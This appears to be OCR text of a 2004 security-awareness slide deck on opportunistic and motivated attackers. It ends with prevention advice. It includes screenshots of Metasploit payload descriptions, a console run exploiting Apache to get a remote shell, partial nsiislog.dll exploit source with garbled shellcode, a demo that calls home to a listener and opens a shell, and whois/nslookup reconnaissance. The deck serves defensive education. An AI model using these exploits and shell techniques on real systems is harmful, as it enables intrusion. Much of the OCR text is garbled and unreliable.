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Security-Assessment

“A hacker by any name, still hacks”

Hacker, Cracker, Black Hat, Script Kiddie, Warez
Pirate, Disgruntled employee, Ex employee,
Dishonest employee, Temporary employee, After
nours cleaner , Etc etc..

opportunist VS motivated
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Skill Level Required
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a Google Search: exploiting win32 buffer overflows - Microsoft Internet Explorer

File Edt “iew Favontes Tool: Help
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&ddress :Ej hittp: A google. co.nzd search ?g=exploiting+win32+buffer+overflows

Advanced Search  Preferences  Language Tools  Search Tips

G O Ug le |exp|uiting winde buffer overflows Google Search

Search: @ the web © pages fram New Zealand

Weh Images | Groups | Director I ewrs

oearched the web for exploiting win32 buffer overflows. Fesults 1 - 10 of about 3,200, Search took 0.20 seconds.

Exploiting WIN32 Buffer Overflows part - | npguy

Exploiting WIN32 Buffer Overflows : Fart - [ - npguy. Introduction. Despite
the various techniques and other run-time approaches, buffer ...

winie, y sgnet. comidatfuind2_buffer_owverflow htm - 18k - Cached - Similar pages

Exploiting WIN32 Buffer Overflows part - | npguy

Breaking the Windows Script Encoder by Mr Brownstone The Windows Seript
Encoder (screnc.exe) is a Microsoft tool that can be used ...

wnw ysgnet. comfat/script_encoder htm - 7k - Cached - Similar pages

[ More results from www. ysgnet. corm |

BADCODED - Howi to exploit programs vulnerabilities (buffer ...
... Good. Win32 Buffer Overflows (Location, Explaitation and Prevention). ... Exploiting
Kernel Buffer Overflows FreeB=0 Style. Esa Etelavuori. December 2000, ...

cormrunity. core-sdi.comd~uliano/bufa. html - 27k - Cached - Similar pages

Meohapsis Archives - Vuln-Dev - EE: Finding and exploiting buffer ...
o 2. Win32 Buffer Overflows, by dark spyrit AKA Bamaby Jack http:/fwwew .. To: vuln-dey
securityfocus.com Subject: Finding and exploiting buffer overflows in Windows ...

archives neohapsis.com/archives! vuln-dew2002-g2/0451 html - Bk - Cached - Similar pages

Win32 Buffer Overflows (| ocation, Exploitation and Prevention]
... Win32 Buffer Overflows (Lacation, Exploitation and Prevention). ... The second will demaonstrate
the process of exploiting the weakness - the problem with most wind2 ...

secinf.net! auditing®Vin32_Buffer Overflows Location_Exploitation_and Prevention htrml - 32k - Cached - Similar pages

WEG Links -Buffer Overflows
woo UMK Azsembly Codes Develapment for %ulnerabilities by Last Stage of Delirium Win32
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The Metasploit Project
Last Update: 02/21/2004 Sections

The Shellcode Archive contains various payloads written by the Metasploit staff. All payloads come with source code
and usage instructions. Many of the techniques (and some code) have been borrowed from other sources, credit is
given where applicable. Almost none of the code here has been optimized for size, usually there is no need for it,
and when there is, it makes more sense to rewrite it from scratch. Effort has been placed into writing payloads that
not only work reliably under most environments, but also clean up after themselves when the target goal is
achieved.

Win32 Vampiric Import Example

Many win32 operating systems include a large amount of libraries and executables which are static across service
packs. These files can be used to write really small service-pack independent payloads. The example below attaches
to dbmssocn.dll and uses the import address table to download and execute a secondary payload.

Assembled Size: 179 bytes

- MD5 (30053a85bf2f57a8c8ac93f30ae10596)

Win32 OS/SP Independent Loader

This code uses the kernel32.dll locating technique described by in their "Win32 Assembly Components” paper.
Our implementation is based off code by Dino Dai Zovi, with minor changes to remove the need for any calls to
GetProcAddress (all functions are found solely by their hash) and to provide a C function to obtain the hash value
for a given string. The majority of the win32 payloads on this site use this loader.
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Win32 OS/SP Independent Loader

This code uses the kernel32.dll locating technique described by in their "Win32 Assembly Components” paper.
Our implementation is based off code by Dino Dai Zovi, with minor changes to remove the need for any calls to
GetProcAddress (all functions are found solely by their hash) and to provide a C function to obtain the hash value
for a given string. The majority of the win32 payloads on this site use this loader.

Win32 Bind Shell

This payload will load winsock, listen on a port, and spawn a cmd.exe shell when a connection is made. It will call
WaitForSingleObject with an infinite timeout and then ExitProcess when the cmd.exe process has terminated. This
payload has been tested on many service packs of Windows NT 4.0, Windows 2000, and Windows XP. This payload
will NOT work on Windows 9x since cmd.exe does not exist and command.com can't send its output back to the
socket.

Assembled Size: 356 bytes

- MD5 (7995b0f4b8ab2f0ee2166ee51ae2048f)

Win32 Reverse Shell

This payload will load winsock, connect to the specified host, and spawn a cmd.exe shell. It will call
WaitForSingleObject with an infinite timeout and then ExitProcess when the cmd.exe process has terminated. This
payload has been tested on many service packs of Windows NT 4.0, Windows 2000, and Windows XP. This payload
will NOT work on Windows 9x since cmd.exe does not exist and command.com can't send its output back to the
socket. A newer, much smaller version of this payload will be released soon.

Assembled Size: 335 bytes

- MD5 (323b372de2ee3998a9d0ee4e33184279)
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Win32 Create Local Admin User

This payload will load netapi32.dll and call NetUserAdd followed by NetLocalGroupAddMembers. It will create a new
user account with the username and password of "X" and add it to the local group "Administrators". This payload
has been tested against Windows 2000 and Windows XP, it will not work on Windows 9x systems.

Assembled Size: 304 bytes

- MD5 (bbc784fe965163b21cfac8f5a38eabcb)

Win32 Exception Handle Example

This payload demonstrates the use of the Windows exception handling system. Essentially it overwrites the SEH
chain at fs:[0] and then triggers an exception through a null pointer dereference, jumping to the code we specify.
This technique becomes very useful when writing exploits for bugs which only allow for a small number of bytes to
be overwritten.

x86 ENSTENV XOR Byte Decoder

This encoder uses the fnstenv instruction to save the floating point environment to the stack, where it pulls the
original eip value and then decodes the real payload. This technique was first described by noir on the vuln-dev
mailing list. The actual encoder can only handle 256 bytes in its current form, if more than 256 bytes are needed,
change the sub cl to sub cx. The nice thing about this decoder is that it is small (23 bytes) and does not use the
jmp/call track to get the eip value, this may prevent certain signature matching intrusion detection systems from
detecting the payload.

© 2004 METASPLOIT.COM

"l saw this discovery channel show the other day, about this lady who trained rats to run cat5 cable, apparently it
works pretty good. So i could have this robot, that unleashes an army of augmented rats..." DL
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Option=

loaded Exploits (8) -Target Address—— T.Port—
Apache Chunked Encoding (WinZk) 192,168,0,1F5 a0
Apache Chunked Encoding (WinNT)
I[15 6,0 ,Printer Buffer Owerflow fAyztem Addrezs— 5.Port—
IIS nsiizlog,dll POST Owverflow (Win2k) 192,168,0,247 20310
REPC DCOM Remote Owerflow

Samba tranzZopen Owvertlow
War-FTPD 1,65 PASS (WinZk) Selected Exploit
WebDAY MTOLL,DLL (Win2k SP2) I15 5,0 ,Printer Buffer Overflo

felected Payload 1

—|Win3Z2 Bind Shell
Win32 Create User

Feverse Shell

CHWINNT system32h cmd.exe

F:sframeworkzperl cli . expsapache_chunked_winnt.exp pavload=winbind rhost=192.1
68.8.16% rport=88880 lport=77Y77 E

[#] Generating pavload winbind <x86,. win32, bind>...

[#] Payload generation complete <8188 hytes>

[#] Using padding size of 352 for server: Apachers1.3.22 <Win32>

[#]1 Using 352 bytes of padding with jmp address Bx1cBf1822

[#]1 Exploit request iz 13818 hbytes

[#] Sending 13018 bytes to remote host.

[#] Connected to 192.168.8.167:7777...

Microzsoft<(R> Windows NIC{TH>
¢G> Copyright 1?85-19296 Microsoft Corp.

c:sprogram filessapache groupsapache »exit
exit

[#] Connection closed

[#] Exiting Shell Connector...
[#] Exploit module has exited.



a Oday-exploitz - Exploitz Codes exploits - Microsoft Internet Explorer

File Edt “ew Favortes Toolz Help

= Each - = - (5 at | ‘D Search (4] Favortes FiMeda <4 | 2N Sh o -

bAddrezs I@ hittp: A b otk comexploits,

| # Exploits & Codes |

» 02,22.2004 : WS_FTP Server == 4.0.2 ALLO Remote overflow Explaoit
» 02,22.2004 @ Foxrnail 5.0 PunyLib.dll Rermote stack overflow Explait
»02,19.2004 : Eudora 6,02 for Windows attachrnent spoofing Explait
»02,10.2004 : GHNU Arnubis 2,6.2 remote Buffer Qvarflow Root Exploit

» 02,04,2004 : Red Faction <= 1,20 Server Reolv Buffer Ovarflow Rermote Exploit

Time Between Disclosure And
Exploit Release

2000 2002 2003 2004
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Security-Assessment

Hacker Of Opportunity

»Low hanging fruit

» After peer recognition

»Web page defacement
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a Zone-H_org = Digital attacks archive - Microsoft Internet Explorer

File Edt “ew Favortes Toolz Help
g Hach - -y - I@ at | l@'Slﬁearch (3] Favoarites @Media @ | %v = =
Address I@ hittp: A Awee. zone-h. orgfenddefacementsfilkerfilker_domain=.nz/
soon the French version
of zone-h will be opened...
-..managed by Siegfried
Hackproof Your Web Free Thawte Guide to 55L. Web Server Security Web Server Security
Server Learn about the busines:s Protect vour Aszets & Enable Visit eWeaek for the Latast
Running a Microsoft server? benefits of securing your site Growkth With Sur Security Security Mews, Information,
Pratect it fram knownf with S5L. Marmagerent Tools! Analyzis 2 Mare
unknown attacks,
Ads by Google
LAMGUAGE DIGITAL ATTACKS ARCHIYE
English - : : : .
I £ _I [ Disable filkters | Wiew Top Attackers ] apply filters I
SEARCH Attacker: |-- all -- ;I Dornain: |.n2
| Date: IaII ;I : | ;" ;”- ;I System: | ;I
MAIN MENU
H Legend:
Ngﬁ:page H - Homepage defacement
Advi _ M - Mass defacement (click to view all defacerments of this IP)
B EI'ISDI‘IES R - Redefacerment {click to wiew all defacerments of this site)
utL.on 1 - Special defacement
Fremiere reports
Bucon reports subscription Time Attacker Domain os Yiew
Download area
Zi_Jl'I_E'H works 2004/03/25 hackbsd crew 1 duvin.co.nzfindex . html Wirin 2000 wigw | mirror
Digital atta;ks 2004/03/25 hackbsd crew 1 coduvin,co.nzdindex: Rl Wirin 2000 wigw | mirrar
Attacks archive ) . . .
Attacls archive o 2004/03/07 Irddex H M rmercyships.org.nz Linuz wigw | rnirror
Top .ﬁ.ttack_E:m ‘ﬁ' 2004/03/07 Irddex H M ...ndwillagesurgery.co.nz Linux wiew | mirror
Attack notification 2004/03/07 Irddex H M equinesolutions.co.nz Linux wiew | mirror
Internet spam/frauds . . .
Stay tuned 2004/03/07 Irddex H M hht.school.nz Linux wigw | mirror
Infp_sec pager o 200403707 Irddex H M andreamoore.co.nz Linus wigw | mirror
Ea':'”'ﬂvl'ﬂ fs'-'l:'s':';pt":!”t_ 2004/02/27 Irddex H M gbtech.co.nz Linux view | mirrar
ar arning subscription . . . .
Passyi'ue puh?ic areap 2004/02/26 Irddex H M fortnautilus,.co.nz L!nux v!ew | m!rrcur
Stats & Graphs Z004/02/26 Irddex H M opendoor.arg.nz Linux wigw | mirror
A':ti""'le public area 2004/02/26 Irddex H M lifts.co.nz Linux wiew | mirror
| lI;iE?mCS::.::m 2004/02/26 Irddex H M aQuavu.co.nz Linux wiew | mirror




SYSTEMX:>tmp/tools/> Scanner —p80 192.168.1.1 -
192.168.1.254



Security-Assessment

Hacker Of Opportunity

[-..
» Constantly scanning the Internet )
»Vast log files of computers
» Distance Is no protection

»New Zealand is no safer than elsewhere

©
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DEMO 1 : Exploiting a known vulnerability
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a Oday-exploitz - Exploitz Codes exploits - Microsoft Internet Explorer

File  Edit
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bAddrezs

ﬂj hittp: A ek -atik,. comdesplaits
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¢ Cisco 105 Remote Denial of Service Exploit using hping
¢ Windows 2000 RPC DCOM Interface DoS Exploit

¢ Cisco 105 IPvd Packet DoS Exploit (cisco-bug-44020,c)
¢ Cisco 105 IPwd Packets Denial of Service Exploit

¢ Citadel/UX BBS version £.07 remote exploit

: MS5QL Server Mamed Pipe Privilege Escalation Explait

.dll Rerncte E:

t Samba 2.2.8 Remote Root exploit with bruteforce method
¢ LeapFTR w2, 7.x remote buffer cverflow exploit

i CCRILL CSI Rerote Exploit for whereami.cgi [cchillx, )

¢ ICG Pro 20032 Password Bypass exploit (cal-icqg.asm)

: Microsoft WebDav III remote raot Exploit (xwdaw)

: ColdFusion MX Rermote Development Service Exploit

¢ Linux eXtremail 1.5.= Rermote Formnat Strings Exploit
Windows Media Services Rermote Exploit (MS032-022)

: phpBB 2.0.4 Remote php File Include Exploit
 kerio MailServer 5.6,.3 Remote Buffer Overflow Exploit
:Wahoo Meszszenger 5.5 Remote Exploit (DSR-ducky.c)

: phpBB 2.0.5 SQL Injection password disclosure Exploit
t ProFTPD 1.2, 2R <1 mod_sgl SQL Injection remote Exploit

: Magic Winrnail Server 2.3 Remote Format string exploit

s mnoGoSearch 3.1, 20 remote command execution exploit
: Mandrake Linux 8.2 fusr/mail local exploit (d2&mail. pl)
yAtHpd version 0.6 remote root exploit [atftpdx. c)

s Apache == 2,0.45 APR rermote Exploit -Apache-Knacker, pl

: Microsoft Internet Explarer Object Tag Explait (MS03-020)



a K-Otik Security - Microsoft Windows Media Services M5115log.DLL Remote Exploit - Microsoft Internet Explorer

File Edt “ew Favortes Toolz Help

i Back - = - () at | ‘D Search (4] Favortes FiMeda <4 | 2 S =

bAddrezs ’-Gj hittp: A otk comdexploits /07 . 1 4. sfocuz-nsizlog-exploit.c. php

HP COMPAQ d330 Microtour :
[E=ET I h A
F avec HP Officelet 5510 iy s
Ereiel. 20 SRCEEEE invent ProcesseurIntel® pentivm® 4 & 3,0Ghz = m’

Accusil = Advisores : ITRlews : Eusploits  © Papers © Backend @ Annoncer  : Contact

[ Windows Media Services nsiislog.dll Remote Exploit [(New)

* Warzion THRT Disponible ici *

#include <stdio h=
#include <winzock2. k=
#include <stdlib.h=
#include <errno b=
#include <string.h>

char *hostMarme = MULL;

unsigned char shellcode[]=
"0 ke bl 03y xS dy e bl x 05 xe B wFa D, P e 83 e e S 1 S e 200 20"
"0 B b e cS e E 3 e G e b O w1 0Y 03 0N B0 30 M AT A 0 e 2 wfa"
Mo Tl xBTS w9 I T wed w1 A d Ay L\ kT A 0 wfd e B e e 3w 2E"
M T I T e T e T e T e L eh b 2N 9 P T 9 T w9 P ad O 2 I T
Mo T T e D TR A b\ 9E A I T LA B A I T I T A B 2R\ w9 E 1"
M S e AN T I T LB, T AT I T e I T e w1l B wad wd A wed e 2"
MO0 xadh xS T 1A xdd wabl k9 xS k1 w1l e\ waf P nd 2 xe 2 nd el x1g"”
"SI e 1o xa Tt dh e d w1 nd 9 9k 9 S w1 e waeh wd o wd 2w cS"
Moad M xe kB2 xle e, x93 xd 2 ndby xad xaSh xe 2 x2b xad ke S k1 A wdl”
Mb T S L A S A 9 P LB A wd O f 2 ke @ we T e 2w w1 e"
Moxweel x93 xe S nfE nfd nd e e 3 I L d D 1\ xS P IR T A T2\ x4\ e 2"
Maedh wE Al el kb3 e d wEdh wadh wd S eflh w1 A B0 A wEd w1 e dl”
Mg dP x d e ad xSe\ 1A xS kI xS\ x4\ xS e\ x4 d I BB\ x4 "
MGl a9 dh e Ak Tel xfel 8w T 9 Th et w1 0 B0 D A O e a g
MxS T e d Tl A xS e x2S xlexaD 1l a\ xd S I e P o nE 8"
MBS wodh wl el dSh B wlal ke S B2 e cS el e B eS w3 B wod wad ST
MoxIbh k13 xS T e\ weel xadh xSelx1dy x99 k13 xSel e kIl xS well e
LB B B S od B T E e T e d L 2T o B8 S w9 B edh el O e d P a g
MoxS T Ib 13\ xS P ke ke e xad i xS\ x1dy x99 1 T e\ x9S xe N kel xS
"eedh wodh B B B S med B FEL T O, wad xS T e T e d Th e e P d T e T e E"
e TR 0 efd B P el e B B ek TR efd x9S e x B B e 6 T
Mo adh xS T e0 e P 2 T O w3 A P e B e d Pl B s B s P e T e e 0 e el
Mo Zalx el e 8 el xS T dP P e 3l el 3 el 6 B e a2 S P e FY
M2 T d 3l et w90 melh e B kel xS 3N wad xS P A wd 1 ke 3w lel xd O xab"
MoxlehxdOhxd Tl x99 xle\ xd O xaf xad\ xS a1\ w20 98, 98 w1l xd D"

L L I I TN O o S L S I | S | S L S L S [ 1 AR | AR ', T | ST | S S SR B S i | |




E:\exploits>checkmedia 192.168.1.68
HTTP/1.1 200 OK

Server: Microsoft-11S/5.0

Date: Sat, 27 Mar 2004 11:13:30 GMT
Content-Type: text/html

<head><title>NetShow ISAPI Log DlI</title></head>
<body><h1>NetShow ISAPI Log DIllI</h1>

E:\exploits>nsiislog

** JISNSLOG.DLL - Windows Media Services - Remote Shell **
** Tested Against Service Pack 4 **

Usage: nsiislog i1p [ourip] [ourport]

E:\exploits>nsiislog 192.168.1.68

** 1ISNSLOG.DLL - Windows Media Services - Remote Shell **
** Tested Against Service Pack 4 **

. Calling Home: blackhole:2000

. Preparing Exploit Buffer.....Ready

. Starting Listener On Port: 2000

. Connecting To 192.168.1.68

. Sending Exploit...... Exploit Sent

. Connection Receilved

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>\whoami

IWAM_BLACKHOLE

C:\WINNT\system32>



Security-Assessment

Prevention

»Be aware of the problems and stay
current with patches

» Subscribe to vendor security mailing lists
»Be alert to large increases in bandwidth

» The large amount of bogus traffic on the
Internet, makes logs less useful

15]
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Security-Assessment

Hacker Of Motive

»Revenge

> Private information

» Take their time
» Information discovery

»Whois, nslookup, mail headers
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a C:A\Documents and 5ettingsVAdministrator\D esktop\Brighstar\Graphiczsidomainzi5 earchR esult_htm - Microsoft Internet Explorer

File Edit “iew Favortes Tools

Help

4= Back - = - (5 il | QhSearch (G Favortes (it Media £4 | By S i

-H &

Address I@ C:\Documents and Settingsadministrator\DesktophErighstaryGraphicshdomainz S earchR esult. htm

HOME

Search / Register

Check name availahility?
View domain details?
Reqister a new name?

EMTER MAME:

actme.co.ng ok

eq. dnz.co.nz

Register
International Mames!

.comd.netforgfinfo/.biz
.cor.ads.net.au

.us
Click here

Information

Domainz News

m Accredited for
International Darmain
Marnes

List of Approved
Domainz Providers

Become an Approved
Domainz Provider

SERVICES MNEWS

This name is already registered. Use the button below to review the registration details.

Domain Summary

INFORMATION

CONTACT US

This domain is currently listed in the Shared Registry

Domain Mame:
Status:
Registered:
Anniversary:
Maodified:
Billing Agent:

Registrant Contact
ACME (MNz) Ltd

PO Box 23-233
Central

ALICKLAND

MZ

Email: jsmith@acme.co.nz
Phone: +64-555-232-3233

Registrar Contact
Domainz

Private Bag 1810
wellington, NZ

Frnail dcarvicamdnmainz net nz

dcme.co.nz

Registered
o7/12/1999
0v/12/2004
15/1/2004
Domainz Ltd

Admin Contact
Jarmes Smith
PO Box 23-233
Central
AUCKLAND

MZ

Email: jsmith@acme.co.nz
Phone: +64-555-232-3233

Technical Contact

Details not supplied

Frnail dnsmezvwsurf -n nz

|&] Done
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[T | [% Inemet



Security-Assessment

>nslookup acme.co.nz
Server: UnKnown
Address: 192.168.1.254

Non-authoritative answer:
Name: acme.co.nz
Address: 192.168.1.1

>nslookup www.acme.co.nz
Server: UnKnown
Address: 192.168.1.254

Non-authoritative answer:
Name: www.acme.co.nz
Address: 192.168.1.1

>nslookup mail.acme.co.nz
Server: UnKnown
Address: 192.168.1.254

Non-authoritative answer:
Name: mail.acme.co.nz
Address: 192.168.1.68

>nslookup

Default Server: UnKnown
Address: 192.168.1.254
> set type=any

> acme.co.nz

Server: UnKnown
Address: 192.168.1.254

Non-authoritative answer:

acme.co.nz MX preference = 5, mail exchanger = mail.acme.co.nz

acme.co.nz internet address = 192.168.1.1
acme.co.nz

primary name server = ns.blackhole

responsible mail addr = mail.blackhole.co.nz

serial = 3012820

refresh = 86400 (1 day)

retry = 7200 (2 hours)

expire = 3600000 (41 days 16 hours)

default TTL = 28800 (8 hours)
acme.co.nz nameserver = ns.blackhole
acme.co.nz nameserver = ns.blackhole

mail.acme.co.nz internet address = 192.168.1.68

Copyright Security-Assessment.com 2004



Meszszage Options

Message settings Security

Iﬁl Importance: I ""'I | Efitry b (Es5an e Cambents an Ethatenbs

Sensitivity: INDrmaI j I add digital signatire b et g EnG e ssane

Tracking options

@ I | HEquest aread receipt far Ehismessane

Delivery options

@ Have replies sent to: m

[T Expires after: | j
Conkacks, .,
iZategories. .. -
e
Internet headers:  |paceived: Frgw {[“58_}]“:3; mtal-rme.xkra.co.nz :l
with ESM

id <20040316223431, SEEPY27 1 Sondhmmgpaviminiiii —yiacennaliaiin - P

fFor <brett, I'I'IIIII:II’E!@SE!ELII’It':.-' -assessment, com =;

[

Close
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]
(o | 3 e A || ol e | 100 i | )]
Fols Fum e e
& Dutkoh. Tenlny - Fovsumsal Fokde: [ o Tho i ey hes BT 78,
2 Comnda
£ Coremets
(3 Dot Item
@ Draits
g,
oy
T3 Dutx

»Easy access through an et
emalil trojan

> The attack
> The attack

=
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Security-Assessment

Hacker Of Motive

» Wil replicate the target environment
»Discover new vulnerabilities
» Create new exploits

»New exploits pass through IDS rules
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DEMO 2 : Exploiting an unknown vulnerability
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a SLwebmail Sign in - Microzoft Internet Ezplorer

File Edit ‘iew Fawvortes Toolz  Help

S Back + = - @ ﬁ | @Search {4 Favorites @Media @ | %v 5 ﬁ A

& Slwebmail3 oS

lhost_exe - Application Error

d

X]

Q The instruction at "0&7 Ffocadk” referenced memory at '0=53585358". The memary could not be Mwntken'

Click on OF. ta terminate the program
Click on CAMNCEL ta debug the program

gk Cancel

1 k

& Done L 4 Intemet 5 n
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L] Computer Management == x|
J Action  View |in}=' -l"|| |@
Tree I Twpe | Date | Tirne SOUrce | akegory | Ewvent | iser e
g Computer Management (Local) aErrnr 2710312004 311543 p...  Service Control Manager  Mone T03z I
Eﬁ& Swstem Tools lQE‘J'InFu:urn‘naI:il:nn 2710312004 154l p.,, IISCTLS Mone 1 [T
EI@ Event Viewer @Infnrmatiun 2710312004 31533 p...  II9CTLS Mone 2 A
24| Application aEerr 27103/2004 31532 p...  Service Control Manager  Mone 7031 M
- Security aErrnr 2710312004 3115132 p...  Service Control Manager  Mone 7031 I
""" o) System aErrnr 270312004 3115:32 p...  Service Control Manager  Mone 7031 3
- System Information aErrnr 2710312004 3:15:32 p... Service Control Manager  Mone 7031 T
@] Performance Logs and Alerts (E)Information  27/03/2004  F:15:20p... IISCTLS Mone 1 My
B Shared Folders € Errar 271032004 S0P, WAM MNone 204 MjA
""" :"5‘ Device Manager aErrnr 2710312004 31520 p...  Service Control Manager  Mone F03z I
B8 Local Users and Groups @ iIrformation  27/03(2004  3:15:12p.. ISCTLS None - M
El@ 5“"“39'3 rrar : 04 .. Service Control Manager  Mone 7031 M
% g:zt Eea;:gg:;i:;r €3 Error 27/03(2004  3:15:12p.. Service Control Manager  Mone 7031 MJA
= Logical Drives aErrnr 2710312004 3115017 p...  Service Control Manager  Mone 7031 I
EEI--@ Removable Starage aErrnr 2710312004 315012 p...  Service Control Manager  Mone T031 I
Eﬂ--@ﬁ Services and Applications aErrnr 2710312004 31508 p...  WAM Mone 204 I |
aEerr 27103/2004 315:01 p...  Service Control Manager  Mone TO03Z M
@Infnrmatiun 2710312004 31452 po.,  IISCTLS Mone 1 I
lQE‘J'InFu:urn‘naI:il:nn 2710312004 F1h43 p...  I[I9CTLS Mone 2 I
aErrnr 2710312004 31443 p...  Service Control Manager  Mone 703 I
aEerr 27103/2004 F14:43 p...  Service Control Manager  Mone 7031 M
aErrnr 2710312004 31443 p...  Service Control Manager  Mone 7031 I
aErrnr 2710312004 31443 p...  Service Control Manager  Mone T031 I
@Infnrmatiun 2710312004 Ilhdl p..,  IISCTLS Mone 1 I
aEerr 27103/2004 Il po.. WAM Mone 204 M
@Infnrmatiun 2710312004 3133 p...  IIFCTLS Mone z I
aErrnr 2710312004 31433 p...  Service Control Manager  Mone T031 I
aErrnr 2710312004 31433 p...  Service Control Manager  Mone 703 I
@Errnr 27103/2004 F14:33 p...  Service Control Manager  Mone 7031 M _ILI
4 »




@ <capture® - Ethereal

File Edit Capture Display Tools

Mao. . |Time Source Destination Protocaol | Info
26 4.95%4584 192.1a8.1.63 152.168.1. 88 Zontinuatiaon
257 4.9545%7  192.1a8.1.463 1%2.168.1.a8 HTTP Continuation
[~]
Qo700 Od Q0a 54 72 Bl Ge 73 66 65 T2 2d 45 6e 63 6T &4 ..Transft er-encod

Q080 A% fe 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Od 0a ing: chu nked. ...
0090 33 61 39 38 0d 0a Co Co GO0 ©C 0 0 0 OC Cf o 3a98. ... ..
0030 CC oSC OO Cf CC CC SC CC DC 0 S S0 OO0 CC S0 L i eaeeeees
O0b0  Co ©f OO ©C Cf Cf Cf CF 0 Q8 0 O €0 OO0 S0 0 CF i i vanas saanenns
0107 of W ol ol ol wll ot o ol ot w0 o ol of ot oSN of ot ol of sl ot ot ol ot ol ot ol ot o
00d0  Co CE CE CE CE CE CE CE €0 €0 €0 €0 €0 €0 €0 €0 4 i ueeas weeaeean
Q0eQ  CC CC CC CC O Cf Cf Cf Cf CC CC CC CC CC CC CC i i eaas e
OO0F0  Co Co Co CE CE CE CE CE E0 €0 €0 €0 €0 €0 €0 €0 i e eeas s eaeean
0100 co oco oCo oCo oce oce 00 f1 fd FF 58 58 58 58 80 000 ..., B
0110 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FEHHRL L L DL
0120 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 ot o | e 1t
0130 53 58 48 48 558 583 00 f1  fd 7f 58 58 55 58 80 00 PHHR, . L DL
0140 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FRHHRL L L DL
0150 58 58 43 43 58 583 00 f1 fd 7f 58 58 58 583 80 00 POHHR, L DL .
0160 53 58 43 48 58 53 00 f1  fd 7f 58 58 55 58 80 00 PHH, . L DL .
0170 58 58 48 48 58 58 00 1 fd 7f 58 58 58 58 80 00 FEHHRL L L DL
0180 53 58 43 43 58 58 00 f1 fd 7f 58 58 58 58 80 00 POHHR, L DL .
0190 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FEHHRL L L DL

01lbo 58 58 48 48 58 58 00 f1 fd Ff 58 58 8 S8 80 00 FHHHRAL L DL
0lcO 58 58 48 48 58 58 00 1 fd 7f 58 58 58 58 80 00 FHHRAGL L L D00
0ldd 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B0 00 FHHHRL L DL
0led 58 58 48 48 58 18 00 f1 fd Ff 58 58 58 58 80 00 FHHHRA L DL
01lf0 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHRL L L DL
0200 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B0 00 FEHHRAL L DL
0210 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHAL L L DL
0220 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B0 00 FHHHRAL L L DL
0230 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHHRAL L DL
0240 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHRAGL L L D00
0250 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B0 00 FHHHRL L DL
0260 58 58 48 48 58 18 00 f1 fd Ff 58 58 58 38 80 00 FHHHRA L DL
0270 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHRL L L DL
0280 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B0 00 FEHHRAL L DL
0290 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHAL L L DL
0Za0 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B8O 00 FHHHRAL L L DL
02zb0 58 58 48 48 58 58 00 f1 fd Ff 58 58 8 S8 80 00 FHHHRAL L DL
0Z2c0 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHRAGL L L D00
0Zd0 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B0 00 FHHHRL L DL
0Zel 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHAL L L DL
02f0 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B8O 00 FHHHRAL L L DL
0300 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 B0 00 FEHHRAL L DL
0310 58 58 48 48 58 58 00 f1 fd 7f 58 58 58 58 80 00 FHHAL L L DL




Security-Assessment

.com

Firewalls

No Firewall, Attackers connection allowed

Firewall blocks connection. Attacker uses
connect back shell

Firewall blocks connect and connect back.
Attacker uses socket reuse shell
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Security-Assessment

Prevention

> VIrus scanners

»Intrusion Detection Systems
»Firewalls

»Ensure strong passwords and adequate
firewall rules are enforced.

15]
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Security-Assessment

Prevention

»|nternal IDS
»Educated staff
»Forensic response ability, Tripwire

» Intelligent Log analysis
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Security-Assessment

Presentation Slides Available For Download
-rom:

Nttp://www.security-assessment.com
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Security-Assessment

NEWS LINKS

Police called after National Party website hacked
http://www.nzherald.co.nz/latestnewsstory.cfm?storylD=3554851&thesection=news&thesubsection=general

Local hacker faces big bill
http://www.nzherald.co.nz/storydisplay.cfm?storylD=3555542&thesection=technology&thesubsection=general

Kiwis 'have weakness for internet scams*
http://www.stuff.co.nz/stuff/0,2106,2811488a28,00.htm|

Australian hacker activity on the rise
http://www.zdnet.com.au/news/security/0,2000061744,39116594,00.htm

NZ Police lay first charge for hacking
http://www.stuff.co.nz/stuff/0,2106,2845353a6022,00.html

UK teen escapes jail in nuclear lab hack case
http://www.theregister.co.uk/content/55/35280.htm|

Hackers exploit Windows patches
http://news.bbc.co.uk/1/hi/technology/3485972.stm

A peek at script kiddie culture
http://software.newsforge.com/software/04/02/28/0130209.shtml

Hacking insurance is a must

http://www.vnunet.com/News/1153579 n

Copyright Security-Assessment.com 2004



	Slide Number 1
	Slide Number 2
	Slide Number 3
	Slide Number 4
	Slide Number 5
	Slide Number 6
	Slide Number 7
	Slide Number 8
	Slide Number 9
	Slide Number 10
	Slide Number 11
	Slide Number 12
	Slide Number 13
	Slide Number 14
	Slide Number 15
	Slide Number 16
	Slide Number 17
	Slide Number 18
	Slide Number 19
	Slide Number 20
	Slide Number 21
	Slide Number 22
	Slide Number 23
	Slide Number 24
	Slide Number 25
	Slide Number 26
	Slide Number 27
	Slide Number 28
	Slide Number 29
	Slide Number 30
	Slide Number 31
	Slide Number 32
	Slide Number 33
	Slide Number 34

